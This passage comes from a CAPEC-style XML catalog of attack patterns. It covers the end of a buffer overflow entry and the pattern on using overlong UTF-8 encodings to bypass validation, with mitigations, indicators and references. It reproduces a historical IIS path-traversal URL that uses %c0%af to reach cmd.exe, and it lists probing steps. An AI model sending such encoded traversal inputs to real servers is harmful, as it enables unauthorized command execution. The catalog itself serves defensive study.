				</Solution_or_Mitigation>
			</Solutions_and_Mitigations>
			<Attack_Motivation-Consequences>
				<!--Denial of Service-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Availability</Consequence_Scope>
					<Consequence_Technical_Impact>DoS: crash / exit /
						restart</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
				<!--Run Arbitrary Code-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Confidentiality</Consequence_Scope>
					<Consequence_Scope>Integrity</Consequence_Scope>
					<Consequence_Scope>Availability</Consequence_Scope>
					<Consequence_Technical_Impact>Execute unauthorized code or
						commands</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
				<!--Information Leakage-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Confidentiality</Consequence_Scope>
					<Consequence_Technical_Impact>Read memory</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
				<!--Data Modification-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Integrity</Consequence_Scope>
					<Consequence_Technical_Impact>Modify memory</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
			</Attack_Motivation-Consequences>
			<Injection_Vector>
				<Text>The user supplied data.</Text>
			</Injection_Vector>
			<Payload>
				<Text>The buffer overrun by the attacker.</Text>
			</Payload>
			<Activation_Zone>
				<Text>When the function returns control to the main program, it jumps to the return
					address portion of the stack frame. Unfortunately that return address may have
					been overwritten by the overflowed buffer and the address may contain a call to
					a privileged command or to a malicious code.</Text>
			</Activation_Zone>
			<Payload_Activation_Impact>
				<Description>
					<Text>The most common is remote code execution.</Text>
				</Description>
			</Payload_Activation_Impact>
			<Related_Weaknesses>
				<Related_Weakness>
					<CWE_ID>120<!--Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>119<!--Improper Restriction of Operations within the Bounds of a Memory Buffer--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>118<!--Improper Access of Indexable Resource ('Range Error')--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>74<!--Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>20<!--Improper Input Validation--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>680<!--Integer Overflow to Buffer Overflow--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>733<!--Compiler Optimization Removal or Modification of Security-critical Code--></CWE_ID>

					<Weakness_Relationship_Type>Secondary</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>697<!--Insufficient Comparison--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
			</Related_Weaknesses>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>100<!--Overflow Buffers--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
			<Relevant_Security_Requirements>
				<Relevant_Security_Requirement>
					<Text>Bound checking should be performed when copying data to a buffer.</Text>
				</Relevant_Security_Requirement>
			</Relevant_Security_Requirements>
			<Related_Security_Principles>
				<Related_Security_Principle>
					<Text>Reluctance to trust</Text>
				</Related_Security_Principle>
				<Related_Security_Principle>
					<Text>Defense in Depth</Text>
				</Related_Security_Principle>
			</Related_Security_Principles>
			<Purposes>
				<Purpose>Penetration</Purpose>
			</Purposes>
			<CIA_Impact>
				<Confidentiality_Impact>High</Confidentiality_Impact>
				<Integrity_Impact>High</Integrity_Impact>
				<Availability_Impact>High</Availability_Impact>
			</CIA_Impact>
			<Technical_Context>
				<Architectural_Paradigms>
					<Architectural_Paradigm>All</Architectural_Paradigm>
				</Architectural_Paradigms>
				<Frameworks>
					<Framework>All</Framework>
				</Frameworks>
				<Platforms>
					<Platform>All</Platform>
				</Platforms>
				<Languages>
					<Language>All</Language>
				</Languages>
			</Technical_Context>
			<References>
				<Reference>
					<Reference_Author>G. Hoglund</Reference_Author>
					<Reference_Author>G. McGraw</Reference_Author>
					<Reference_Title>Exploiting Software: How to Break Code</Reference_Title>
					<Reference_Publisher>Addison-Wesley</Reference_Publisher>
					<Reference_PubDate>February 2004</Reference_PubDate>
				</Reference>
				<Reference>
					<Reference_Description>
						<Text>CWE - Buffer Errors</Text>
					</Reference_Description>
				</Reference>
			</References>
			<Content_History>
				<Submissions>
					<Submission>
						<Submitter>G. Hoglund and G. McGraw. Exploiting Software: How to Break Code.
							Addison-Wesley, February 2004.</Submitter>
						<Submitter_Organization>Cigital, Inc</Submitter_Organization>
						<Submission_Date>2007-03-01</Submission_Date>
					</Submission>
				</Submissions>
				<Modifications>
					<Modification>
						<Modifier>Eric Dalci</Modifier>
						<Modifier_Organization>Cigital, Inc</Modifier_Organization>
						<Modification_Date>2007-02-13</Modification_Date>
						<Modification_Comment>Fleshed out content to CAPEC schema from the original
							descriptions in "Exploiting Software"</Modification_Comment>
					</Modification>
					<Modification>
						<Modifier>Sean Barnum</Modifier>
						<Modifier_Organization>Cigital, Inc</Modifier_Organization>
						<Modification_Date>2007-03-05</Modification_Date>
						<Modification_Comment>Review and revise</Modification_Comment>
					</Modification>
					<Modification>
						<Modifier>Richard Struse</Modifier>
						<Modifier_Organization>VOXEM, Inc</Modifier_Organization>
						<Modification_Date>2007-03-26</Modification_Date>
						<Modification_Comment>Review and feedback leading to changes in
							Description</Modification_Comment>
					</Modification>
					<Modification>
						<Modifier>Sean Barnum</Modifier>
						<Modifier_Organization>Cigital, Inc</Modifier_Organization>
						<Modification_Date>2007-04-13</Modification_Date>
						<Modification_Comment>Modified pattern content according to review and
							feedback</Modification_Comment>
					</Modification>
				</Modifications>
			</Content_History>
		</Attack_Pattern>
		<Attack_Pattern ID="80" Name="Using UTF-8 Encoding to Bypass Validation Logic"
			Pattern_Abstraction="Detailed" Pattern_Completeness="Complete" Status="Draft">
			<Description>
				<Summary>
					<Text>This attack is a specific variation on leveraging alternate encodings to
						bypass validation logic. This attack leverages the possibility to encode
						potentially harmful input in UTF-8 and submit it to applications not
						expecting or effective at validating this encoding standard making input
						filtering difficult. UTF-8 (8-bit UCS/Unicode Transformation Format) is a
						variable-length character encoding for Unicode. Legal UTF-8 characters are
						one to four bytes long. However, early version of the UTF-8 specification
						got some entries wrong (in some cases it permitted overlong characters).
						UTF-8 encoders are supposed to use the ``shortest possible'' encoding, but
						naive decoders may accept encodings that are longer than necessary.
						According to the RFC 3629, a particularly subtle form of this attack can be
						carried out against a parser which performs security-critical validity
						checks against the UTF-8 encoded form of its input, but interprets certain
						illegal octet sequences as characters.</Text>
				</Summary>
				<Attack_Execution_Flow>
					<Attack_Phases>
						<Attack_Phase ID="1" Name="Explore">
							<Attack_Steps>
								<Attack_Step ID="-1">
									<Custom_Attack_Step>
										<Attack_Step_Title>Survey the application for
											user-controllable inputs</Attack_Step_Title>
										<Attack_Step_Description>
											<Text>Using a browser or an automated tool, an attacker
												follows all public links and actions on a web site.
												He records all the links, the forms, the resources
												accessed and all other potential entry-points for
												the web application.</Text>
										</Attack_Step_Description>
										<Attack_Step_Techniques>
											<Attack_Step_Technique ID="1">
												<Attack_Step_Technique_Description>
												<Text>Use a spidering tool to follow and record
												all links and analyze the web pages to find entry
												points. Make special note of any links that
												include parameters in the URL.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web</Environments>
											</Attack_Step_Technique>
											<Attack_Step_Technique ID="2">
												<Attack_Step_Technique_Description>
												<Text>Use a proxy tool to record all user input
												entry points visited during a manual traversal of
												the web application.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web</Environments>
											</Attack_Step_Technique>
											<Attack_Step_Technique ID="3">
												<Attack_Step_Technique_Description>
												<Text>Use a browser to manually explore the
												website and analyze how it is constructed. Many
												browsers' plugins are available to facilitate the
												analysis or automate the discovery.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web</Environments>
											</Attack_Step_Technique>
										</Attack_Step_Techniques>
										<Indicators>
											<Indicator ID="1" type="Positive">
												<Indicator_Description>
												<Text>Inputs are used by the application or the
												browser (DOM)</Text>
												</Indicator_Description>
												<Environments>env-Web</Environments>
											</Indicator>
											<Indicator ID="2" type="Inconclusive">
												<Indicator_Description>
												<Text>Using URL rewriting, parameters may be part
												of the URL path.</Text>
												</Indicator_Description>
												<Environments>env-Web</Environments>
											</Indicator>
											<Indicator ID="3" type="Inconclusive">
												<Indicator_Description>
												<Text>No parameters appear to be used on the
												current page. Even though none appear, the web
												application may still use them if they are
												provided.</Text>
												</Indicator_Description>
												<Environments>env-Web</Environments>
											</Indicator>
											<Indicator ID="4" type="Negative">
												<Indicator_Description>
												<Text>Applications that have only static pages or
												that simply present information without accepting
												input are unlikely to be susceptible.</Text>
												</Indicator_Description>
												<Environments>env-Web</Environments>
											</Indicator>
										</Indicators>
										<Outcomes>
											<Outcome ID="1" type="Success">
												<Outcome_Description>A list of URLs, with their
												corresponding parameters (POST, GET, COOKIE, etc.)
												is created by the attacker.</Outcome_Description>
											</Outcome>
											<Outcome ID="2" type="Success">
												<Outcome_Description>A list of application user
												interface entry fields is created by the
												attacker.</Outcome_Description>
											</Outcome>
											<Outcome ID="3" type="Success">
												<Outcome_Description>A list of resources accessed by
												the application is created by the
												attacker.</Outcome_Description>
											</Outcome>
										</Outcomes>
										<Security_Controls>
											<Security_Control ID="1" type="Detective">
												<Security_Control_Description>Monitor velocity of
												page fetching in web logs. Humans who view a page
												and select a link from it will click far slower
												and far less regularly than tools. Tools make
												requests very quickly and the requests are
												typically spaced apart regularly (e.g. 0.8 seconds
												between them).</Security_Control_Description>
											</Security_Control>
											<Security_Control ID="2" type="Detective">
												<Security_Control_Description>Create links on some
												pages that are visually hidden from web browsers.
												Using IFRAMES, images, or other HTML techniques,
												the links can be hidden from web browsing humans,
												but visible to spiders and programs. A request for
												the page, then, becomes a good predictor of an
												automated tool probing the
												application.</Security_Control_Description>
											</Security_Control>
											<Security_Control ID="3" type="Preventative">
												<Security_Control_Description>Use CAPTCHA to prevent
												the use of the application by an automated
												tool.</Security_Control_Description>
											</Security_Control>
											<Security_Control ID="4" type="Preventative">
												<Security_Control_Description>Actively monitor the
												application and either deny or redirect requests
												from origins that appear to be
												automated.</Security_Control_Description>
											</Security_Control>
										</Security_Controls>
									</Custom_Attack_Step>
								</Attack_Step>
							</Attack_Steps>
						</Attack_Phase>
						<Attack_Phase ID="2" Name="Experiment">
							<Attack_Steps>
								<Attack_Step ID="1">
									<Custom_Attack_Step>
										<Attack_Step_Title>Probe entry points to locate
											vulnerabilities</Attack_Step_Title>
										<Attack_Step_Description>
											<Text>The attacker uses the entry points gathered in the
												"Explore" phase as a target list and injects various
												UTF-8 encoded payloads to determine if an entry
												point actually represents a vulnerability with
												insufficient validation logic and to characterize
												the extent to which the vulnerability can be
												exploited.</Text>
										</Attack_Step_Description>
										<Attack_Step_Techniques>
											<Attack_Step_Technique ID="1">
												<Attack_Step_Technique_Description>
												<Text>Try to use UTF-8 encoding of content in
												Scripts in order to bypass validation
												routines.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web</Environments>
											</Attack_Step_Technique>
											<Attack_Step_Technique ID="2">
												<Attack_Step_Technique_Description>
												<Text>Try to use UTF-8 encoding of content in HTML
												in order to bypass validation routines.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web</Environments>
											</Attack_Step_Technique>
											<Attack_Step_Technique ID="3">
												<Attack_Step_Technique_Description>
												<Text>Try to use UTF-8 encoding of content in CSS
												in order to bypass validation routines.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web</Environments>
											</Attack_Step_Technique>
										</Attack_Step_Techniques>
										<Indicators>
											<Indicator ID="1" type="Positive">
												<Indicator_Description>
												<Text>The application accepts user-controllable
												input.</Text>
												</Indicator_Description>
												<Environments>env-Web</Environments>
											</Indicator>
										</Indicators>
										<Outcomes>
											<Outcome ID="1" type="Success">
												<Outcome_Description>The attacker's UTF-8 encoded
												payload is processed and acted on by the
												application without filtering or
												transcoding</Outcome_Description>
											</Outcome>
											<Outcome ID="2" type="Failure">
												<Outcome_Description>The application decodes the
												charset and filters the
												inputs.</Outcome_Description>
											</Outcome>
										</Outcomes>
										<Security_Controls>
											<Security_Control ID="1" type="Preventative">
												<Security_Control_Description>Implement input
												validation routines that filter or transcode for
												UTF-8 content.</Security_Control_Description>
											</Security_Control>
											<Security_Control ID="2" type="Preventative">
												<Security_Control_Description>Specify the charset of
												the HTTP
												transaction/content.</Security_Control_Description>
											</Security_Control>
											<Security_Control ID="3" type="Detective">
												<Security_Control_Description>Monitor inputs to web
												servers. Alert on unusual charset and/or
												characters.</Security_Control_Description>
											</Security_Control>
											<Security_Control ID="4" type="Preventative">
												<Security_Control_Description>Actively monitor the
												application and either deny or redirect requests
												from origins that appear to be attack
												attempts.</Security_Control_Description>
											</Security_Control>
										</Security_Controls>
									</Custom_Attack_Step>
								</Attack_Step>
							</Attack_Steps>
						</Attack_Phase>
					</Attack_Phases>
				</Attack_Execution_Flow>
			</Description>
			<Attack_Prerequisites>
				<Attack_Prerequisite>
					<Text>The application's UTF-8 decoder accepts and interprets illegal UTF-8
						characters or non-shortest format of UTF-8 encoding.</Text>
				</Attack_Prerequisite>
				<Attack_Prerequisite>
					<Text>Input filtering and validating is not done properly leaving the door open
						to harmful characters for the target host.</Text>
				</Attack_Prerequisite>
			</Attack_Prerequisites>
			<Typical_Severity>High</Typical_Severity>
			<Typical_Likelihood_of_Exploit>
				<Likelihood>High</Likelihood>
				<Explanation/>
			</Typical_Likelihood_of_Exploit>
			<Methods_of_Attack>
				<Method_of_Attack>Injection</Method_of_Attack>
				<Method_of_Attack>Protocol Manipulation</Method_of_Attack>
				<Method_of_Attack>API Abuse</Method_of_Attack>
			</Methods_of_Attack>
			<Examples-Instances>
				<Example-Instance>
					<Example-Instance_Description>
						<Text>Perhaps the most famous UTF-8 attack was against unpatched Microsoft
							Internet Information Server (IIS) 4 and IIS 5 servers. If an attacker
							made a request that looked like
							this—http://servername/scripts/..%c0%af../winnt/system32/ cmd.exe—the
							server didn't correctly handle %c0%af in the URL. What do you think
							%c0%af means? It's 11000000 10101111 in binary; and if it's broken up
							using the UTF-8 mapping rules, we get this: 11000000 10101111.
							Therefore, the character is 00000101111, or 0x2F, the slash (/)
							character! The %c0%af is an invalid UTF-8 representation of the /
							character. Such an invalid UTF-8 escape is often referred to as an
							overlong sequence.</Text>
						<Text>So when the attacker requested the tainted URL, he accessed
							http://servername/scripts/../../winnt/system32/cmd.exe. In other words,
							he walked out of the script's virtual directory, which is marked to
							allow program execution, up to the root and down into the system32
							directory, where he could pass commands to the command shell,
							Cmd.exe.</Text>
					</Example-Instance_Description>
					<Example-Instance_Related_Vulnerabilities>
						<Example-Instance_Related_Vulnerability>
							<Text>CVE-2000-0884</Text>
						</Example-Instance_Related_Vulnerability>
					</Example-Instance_Related_Vulnerabilities>
				</Example-Instance>
			</Examples-Instances>
			<Attacker_Skills_or_Knowledge_Required>
				<Attacker_Skill_or_Knowledge_Required>
					<Skill_or_Knowledge_Level>Low</Skill_or_Knowledge_Level>
					<Skill_or_Knowledge_Type>
						<Text>An attacker can inject different representation of a filtered
							character in UTF-8 format.</Text>
					</Skill_or_Knowledge_Type>
				</Attacker_Skill_or_Knowledge_Required>
				<Attacker_Skill_or_Knowledge_Required>
					<Skill_or_Knowledge_Level>Medium</Skill_or_Knowledge_Level>
					<Skill_or_Knowledge_Type>
						<Text>An attacker may craft subtle encoding of input data by using the
							knowledge that she has gathered about the target host.</Text>
					</Skill_or_Knowledge_Type>
				</Attacker_Skill_or_Knowledge_Required>
			</Attacker_Skills_or_Knowledge_Required>
			<Resources_Required/>
			<Probing_Techniques>
				<Probing_Technique>
					<Description>
						<Text>Attacker may try to inject dangerous characters using UTF-8 different
							representation using (example of invalid UTF-8 characters). The attacker
							hopes that the targeted system does poor input filtering for all the
							different possible representations of the malicious characters.
							Malicious inputs can be sent through an HTML form or directly encoded in
							the URL.</Text>
					</Description>
				</Probing_Technique>
				<Probing_Technique>
					<Description>
						<Text>The attacker can use scripts or automated tools to probe for poor
							input filtering.</Text>
					</Description>
				</Probing_Technique>
			</Probing_Techniques>
			<Indicators-Warnings_of_Attack>
				<Indicator-Warning_of_Attack>
					<Description>
						<Text>A web page that contains overly long UTF-8 codes constitute a protocol
							anomaly, and could be an indication that an attacker is attempting to
							exploit a vulnerability on the target host.</Text>
					</Description>
				</Indicator-Warning_of_Attack>
				<Indicator-Warning_of_Attack>
					<Description>
						<Text>A attacker can use a fuzzer in order to probe for a UTF-8 encoding
							vulnerability. The fuzzer should generate suspicious network activity
							noticeable by an intrusion detection system.</Text>
					</Description>
				</Indicator-Warning_of_Attack>
				<Indicator-Warning_of_Attack>
					<Description>
						<Text>An IDS filtering network traffic may be able to detect illegal UTF-8
							characters.</Text>
					</Description>
				</Indicator-Warning_of_Attack>
			</Indicators-Warnings_of_Attack>
			<Obfuscation_Techniques>
				<Obfuscation_Technique>
					<Description>
						<Text>According to OWASP, sometimes cross-site scripting attackers attempt
							to hide their attacks in Unicode encoding.</Text>
					</Description>
				</Obfuscation_Technique>
			</Obfuscation_Techniques>
			<Solutions_and_Mitigations>
				<Solution_or_Mitigation>
					<Text>The Unicode Consortium recognized multiple representations to be a problem
						and has revised the Unicode Standard to make multiple representations of the
						same code point with UTF-8 illegal. The UTF-8 Corrigendum lists the newly
						restricted UTF-8 range (See references). Many current applications may not
						have been revised to follow this rule. Verify that your application conform
						to the latest UTF-8 encoding specification. Pay extra attention to the
						filtering of illegal characters.</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>The exact response required from an UTF-8 decoder on invalid input is not
						uniformly defined by the standards. In general, there are several ways a
						UTF-8 decoder might behave in the event of an invalid byte sequence:</Text>
					<Block Block_Nature="List">
						<Text>1. Insert a replacement character (e.g. '?', '').</Text>
						<Text>2. Ignore the bytes.</Text>
						<Text>3. Interpret the bytes according to a different character encoding
							(often the ISO-8859-1 character map).</Text>
						<Text>4. Not notice and decode as if the bytes were some similar bit of
							UTF-8.</Text>
						<Text>5. Stop decoding and report an error (possibly giving the caller the
							option to continue).</Text>
					</Block>
					<Text>It is possible for a decoder to behave in different ways for different
						types of invalid input.</Text>
					<Text>RFC 3629 only requires that UTF-8 decoders must not decode "overlong
						sequences" (where a character is encoded in more bytes than needed but still
						adheres to the forms above). The Unicode Standard requires a
						Unicode-compliant decoder to "...treat any ill-formed code unit sequence as
						an error condition. This guarantees that it will neither interpret nor emit
						an ill-formed code unit sequence."</Text>
					<Text>Overlong forms are one of the most troublesome types of UTF-8 data. The
						current RFC says they must not be decoded but older specifications for UTF-8
						only gave a warning and many simpler decoders will happily decode them.
						Overlong forms have been used to bypass security validations in high profile
						products including Microsoft's IIS web server. Therefore, great care must be
						taken to avoid security issues if validation is performed before conversion
						from UTF-8, and it is generally much simpler to handle overlong forms before
						any input validation is done.</Text>
					<Text>To maintain security in the case of invalid input, there are two options.
						The first is to decode the UTF-8 before doing any input validation checks.
						The second is to use a decoder that, in the event of invalid input, returns
						either an error or text that the application considers to be harmless.
						Another possibility is to avoid conversion out of UTF-8 altogether but this
						relies on any other software that the data is passed to safely handling the
						invalid data.</Text>
					<Text>Another consideration is error recovery. To guarantee correct recovery
						after corrupt or lost bytes, decoders must be able to recognize the
						difference between lead and trail bytes, rather than just assuming that
						bytes will be of the type allowed in their position.</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>For security reasons, a UTF-8 decoder must not accept UTF-8 sequences that
						are longer than necessary to encode a character. If you use a parser to
						decode the UTF-8 encoding, make sure that parser filter the invalid UTF-8
						characters (invalid forms or overlong forms).</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Look for overlong UTF-8 sequences starting with malicious pattern. You can
						also use a UTF-8 decoder stress test to test your UTF-8 parser (See Markus
						Kuhn's UTF-8 and Unicode FAQ in reference section)</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Assume all input is malicious. Create a white list that defines all valid
						input to the software system based on the requirements specifications. Input
						that does not match against the white list should not be permitted to enter
						into the system. Test your decoding process against malicious input.</Text>
				</Solution_or_Mitigation>
			</Solutions_and_Mitigations>
			<Attack_Motivation-Consequences>
				<!--Privilege Escalation-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Confidentiality</Consequence_Scope>
					<Consequence_Scope>Access_Control</Consequence_Scope>
					<Consequence_Scope>Authorization</Consequence_Scope>
					<Consequence_Technical_Impact>Bypass protection
						mechanism</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
				<!--Run Arbitrary Code-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Confidentiality</Consequence_Scope>
					<Consequence_Scope>Integrity</Consequence_Scope>
					<Consequence_Scope>Availability</Consequence_Scope>
					<Consequence_Technical_Impact>Execute unauthorized code or
						commands</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
				<!--Data Modification-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Integrity</Consequence_Scope>
					<Consequence_Technical_Impact>Modify memory</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
				<!--Denial of Service-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Availability</Consequence_Scope>
					<Consequence_Technical_Impact>Unexpected State</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
			</Attack_Motivation-Consequences>
			<Injection_Vector>
				<Text>The injection vector is an illegal sequences of bytes matching an UTF-8
					characters or a "non-shortest form" in UTF-8 encoding format.</Text>
			</Injection_Vector>
			<Payload>
				<Text>The interpretation of malicious characters can cause unexpected responses from
					the target host.</Text>
			</Payload>
			<Activation_Zone>
				<Text>The request or command interpreter is responsible for interpreting the request
					sent by the client.</Text>
			</Activation_Zone>
			<Payload_Activation_Impact>
				<Description>
					<Text>The malicious characters can defeat the data filtering mechanism and have
						many different outcomes such as path manipulation, remote code execution,
						etc.</Text>
				</Description>
			</Payload_Activation_Impact>
			<Related_Weaknesses>
				<Related_Weakness>
					<CWE_ID>173<!--Improper Handling of Alternate Encoding--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>172<!--Encoding Error--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>180<!--Incorrect Behavior Order: Validate Before Canonicalize--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>181<!--Incorrect Behavior Order: Validate Before Filter--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>171<!--Cleansing, Canonicalization, and Comparison Errors--></CWE_ID>

					<Weakness_Relationship_Type>Secondary</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>73<!--External Control of File Name or Path--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>21<!--Pathname Traversal and Equivalence Errors--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>74<!--Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')--></CWE_ID>

					<Weakness_Relationship_Type>Secondary</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>20<!--Improper Input Validation--></CWE_ID>

					<Weakness_Relationship_Type>Secondary</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>697<!--Insufficient Comparison--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>692<!--Incomplete Blacklist to Cross-Site Scripting--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
			</Related_Weaknesses>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID>1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>PeerOf</Relationship_Nature>
					<Relationship_Target_ID>64<!--Using Slashes and URL Encoding Combined to Bypass Validation Logic--></Relationship_Target_ID>
				</Related_Attack_Pattern>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID>1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>PeerOf</Relationship_Nature>
					<Relationship_Target_ID>71<!--Using Unicode Encoding to Bypass Validation Logic--></Relationship_Target_ID>
				</Related_Attack_Pattern>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>267<!--Leverage Alternate Encoding--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
			<Related_Security_Principles>
				<Related_Security_Principle>
					<Text>Reluctance to Trust</Text>
				</Related_Security_Principle>
			</Related_Security_Principles>
			<Related_Guidelines>
				<Related_Guideline>
					<Text>RFC 3629 - http://www.faqs.org/rfcs/rfc3629.html</Text>
				</Related_Guideline>
			</Related_Guidelines>
			<Purposes>
				<Purpose>Penetration</Purpose>
			</Purposes>
			<CIA_Impact>
				<Confidentiality_Impact>High</Confidentiality_Impact>
				<Integrity_Impact>High</Integrity_Impact>
				<Availability_Impact>Medium</Availability_Impact>
			</CIA_Impact>
			<Technical_Context>
				<Architectural_Paradigms>
					<Architectural_Paradigm>All</Architectural_Paradigm>
				</Architectural_Paradigms>
				<Frameworks>
					<Framework>All</Framework>
				</Frameworks>
				<Platforms>
					<Platform>All</Platform>
				</Platforms>
				<Languages>
					<Language>All</Language>
				</Languages>
			</Technical_Context>
			<References>
				<Reference>
					<Reference_Author>G. Hoglund</Reference_Author>
					<Reference_Author>G. McGraw</Reference_Author>
					<Reference_Title>Exploiting Software: How to Break Code</Reference_Title>
					<Reference_Publisher>Addison-Wesley</Reference_Publisher>
					<Reference_PubDate>February 2004</Reference_PubDate>
				</Reference>
				<Reference>
					<Reference_Description>
						<Text>CWE - Input Validation</Text>
					</Reference_Description>
				</Reference>
				<Reference>
					<Reference_Description>
						<Text>David Wheeler -
							http://www.dwheeler.com/secure-programs/Secure-Programs-HOWTO/character-encoding.html</Text>
					</Reference_Description>
				</Reference>
				<Reference>
					<Reference_Description>
						<Text>Michael Howard and David LeBlanc - Writing Secure Code, chap12,
							Microsoft Press</Text>
					</Reference_Description>
				</Reference>
				<Reference>
					<Reference_Description>
						<Text>Bruce Schneier - Crypto-Gram Newsletter, July 15, 2000 -
							http://www.schneier.com/crypto-gram-0007.html</Text>
					</Reference_Description>
				</Reference>
				<Reference>
					<Reference_Description>
						<Text>WikiPedia page about UTF-8, http://en.wikipedia.org/wiki/UTF-8</Text>
					</Reference_Description>
				</Reference>
				<Reference>
					<Reference_Description>
						<Text>RFC 3629 - http://www.faqs.org/rfcs/rfc3629.html</Text>
					</Reference_Description>
				</Reference>
				<Reference>
					<Reference_Description>
						<Text>IDS Evasion with Unicode, by Eric Hacker, Jan. 3, 2001 -
							http://www.securityfocus.com/infocus/1232</Text>
					</Reference_Description>
				</Reference>
				<Reference>
					<Reference_Description>
						<Text>Corrigendum #1: UTF-8 Shortest Form -
							http://www.unicode.org/versions/corrigendum1.html</Text>
					</Reference_Description>
				</Reference>
				<Reference>
					<Reference_Description>
						<Text>UTF-8 and Unicode FAQ for Unix/Linux, by Markus Kuhn -
							http://www.cl.cam.ac.uk/~mgk25/unicode.html</Text>
					</Reference_Description>
				</Reference>
				<Reference>
					<Reference_Description>
						<Text>UTF-8 decoder capability and stress test, by Markus Kuhn -
							http://www.cl.cam.ac.uk/%7Emgk25/ucs/examples/UTF-8-test.txt</Text>
					</Reference_Description>
				</Reference>
			</References>
			<Content_History>
				<Submissions>
					<Submission>
						<Submitter>G. Hoglund and G. McGraw. Exploiting Software: How to Break Code.
							Addison-Wesley, February 2004.</Submitter>
						<Submitter_Organization>Cigital, Inc</Submitter_Organization>
						<Submission_Date>2007-03-01</Submission_Date>
					</Submission>
				</Submissions>
				<Modifications>
					<Modification>
						<Modifier>Eric Dalci</Modifier>
						<Modifier_Organization>Cigital, Inc</Modifier_Organization>
						<Modification_Date>2007-02-13</Modification_Date>
						<Modification_Comment>Fleshed out content to CAPEC schema from the original
							descriptions in "Exploiting Software"</Modification_Comment>
					</Modification>
					<Modification>
						<Modifier>Sean Barnum</Modifier>
